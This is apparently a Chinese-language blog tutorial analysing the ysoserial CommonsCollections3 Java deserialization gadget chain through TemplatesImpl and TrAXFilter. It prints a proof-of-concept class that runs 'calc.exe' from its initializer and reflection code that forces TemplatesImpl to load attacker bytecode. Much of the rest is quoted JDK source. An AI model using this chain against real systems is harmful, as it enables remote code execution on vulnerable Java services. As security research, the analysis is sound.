ysoserial commonscollections3 分析

cc3利用鏈如下:
TrAXFilter(Templates templates)TemplatesImpl->newTransformer()TemplatesImpl->getTransletInstance()_class[_transletIndex].newInstance();一、為構造的惡意字節碼文件找一個newInstance啟動入口
在TemplatesImpl類中的getTransletInstance方法,對 _class[_transletIndex]實現了newInstance() 。
所以如果構造一個惡意類 , 然后通過類加載器加載,最終通過TemplatesImpl實現這個類的實例化,將實現這個惡意類的初始化執行 。
假設將惡意代碼寫入這個類的靜態代碼塊中,在這個類被實例化的時候得到執行,以Runtime為例 。
構造惡意類:
public class Runtimecalc {{Runtime runtime = Runtime.getRuntime();try {runtime.exec("calc.exe");} catch (IOException e) {e.printStackTrace();}}}又由于TemplatesImpl類中,getTransletInstance方法屬于私有方法,所以需要依賴另一個方法 。其中該類的newTransformer()調用了getTransletInstance(),該方法public作用域,可以被外部調用執行 。
public synchronized Transformer newTransformer()throws TransformerConfigurationException{TransformerImpl transformer;transformer = new TransformerImpl(getTransletInstance(), _outputProperties,_indentNumber, _tfactory);if (_uriResolver != null) {transformer.setURIResolver(_uriResolver);}if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {transformer.setSecureProcessing(true);}return transformer;}通過反射給_class和_transletIndex賦值 。但是在賦值之前 , 我們看到getTransletInstance方法對_name也做了判斷if (_name == null) return null;,要求不能為空才可以繼續執行后面代碼 , 所以還需要通過反射給_name賦值 。
另外需要注意的是由于這里做了一個強轉(AbstractTranslet)_class[_transletIndex].newInstance();
加載的字節碼類需要繼承AbstractTranslet
private Translet getTransletInstance()throws TransformerConfigurationException {try {if (_name == null) return null;if (_class == null) defineTransletClasses();// The translet needs to keep a reference to all its auxiliary// class to prevent the GC from collecting themAbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();translet.postInitialization();translet.setTemplates(this);translet.setServicesMechnism(_useServicesMechanism);translet.setAllowedProtocols(_accessExternalStylesheet);if (_auxClasses != null) {translet.setAuxiliaryClasses(_auxClasses);}return translet;}catch (InstantiationException e) {ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);throw new TransformerConfigurationException(err.toString());}catch (IllegalAccessException e) {ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);throw new TransformerConfigurationException(err.toString());}}那么假設我們通過反射,直接為_class賦值為一個惡意字節碼文件的文件路徑 。
然后通過調newTransformer方法實現,就能得到字節碼文件的初始化執行 。
TemplatesImpl templates = new TemplatesImpl();Class templates_cl= Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");Field name = templates_cl.getDeclaredField("_name");name.setAccessible(true);name.set(templates,"xxx");Field aClass = templates_cl.getDeclaredField("_class");aClass.setAccessible(true);aClass.set(templates,new Class[]{Runtimecalc.class});Field transletIndex = templates_cl.getDeclaredField("_transletIndex");transletIndex.setAccessible(true);transletIndex.set(templates,0);templates.newTransformer();二、字節碼文件路徑是無法在目標機器得到執行的,所以需要找到其他方法將字節碼內容直接賦值序列化
Runtimecalc.class作為類文件賦值,是無法實現序列化的時候將文件內容直接傳入的,這里賦值的只是文件路徑 。
所以序列化和反序列化是不成功的 。
我們知道ClassLoader在加載的類的時候 , 最終是通過defineClass加載字節碼文件內容 。
利用這種方式,直接的賦值傳參內容是字節碼,就可以達到惡意類加載的序列化和反序列化 。
Templateslmpl類中getTransletInstance方法中,在_class[_transletIndex].newInstance()執行前,還有一段如下代碼
【ysoserial commonscollections3 分析】if (_class == null) defineTransletClasses()假設我們之前不對_class賦值 , 查看defineTransletClasses做了什么 。
private void defineTransletClasses()throws TransformerConfigurationException {//需要給_bytecodes賦值if (_bytecodes == null) {ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);throw new TransformerConfigurationException(err.toString());}TransletClassLoader loader = (TransletClassLoader)AccessController.doPrivileged(new PrivilegedAction() {public Object run() {return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());}});try {final int classCount = _bytecodes.length;//為_class賦值 , 長度為_bytecodes的長度_class = new Class[classCount];if (classCount > 1) {_auxClasses = new HashMap<>();}for (int i = 0; i < classCount; i++) {//_bytecodes[0]賦值為字節碼內容賦值給_class[0]_class[i] = loader.defineClass(_bytecodes[i]);final Class superClass = _class[i].getSuperclass();// Check if this is the main classif (superClass.getName().equals(ABSTRACT_TRANSLET)) {_transletIndex = i;}else {_auxClasses.put(_class[i].getName(), _class[i]);}}}}

推薦閱讀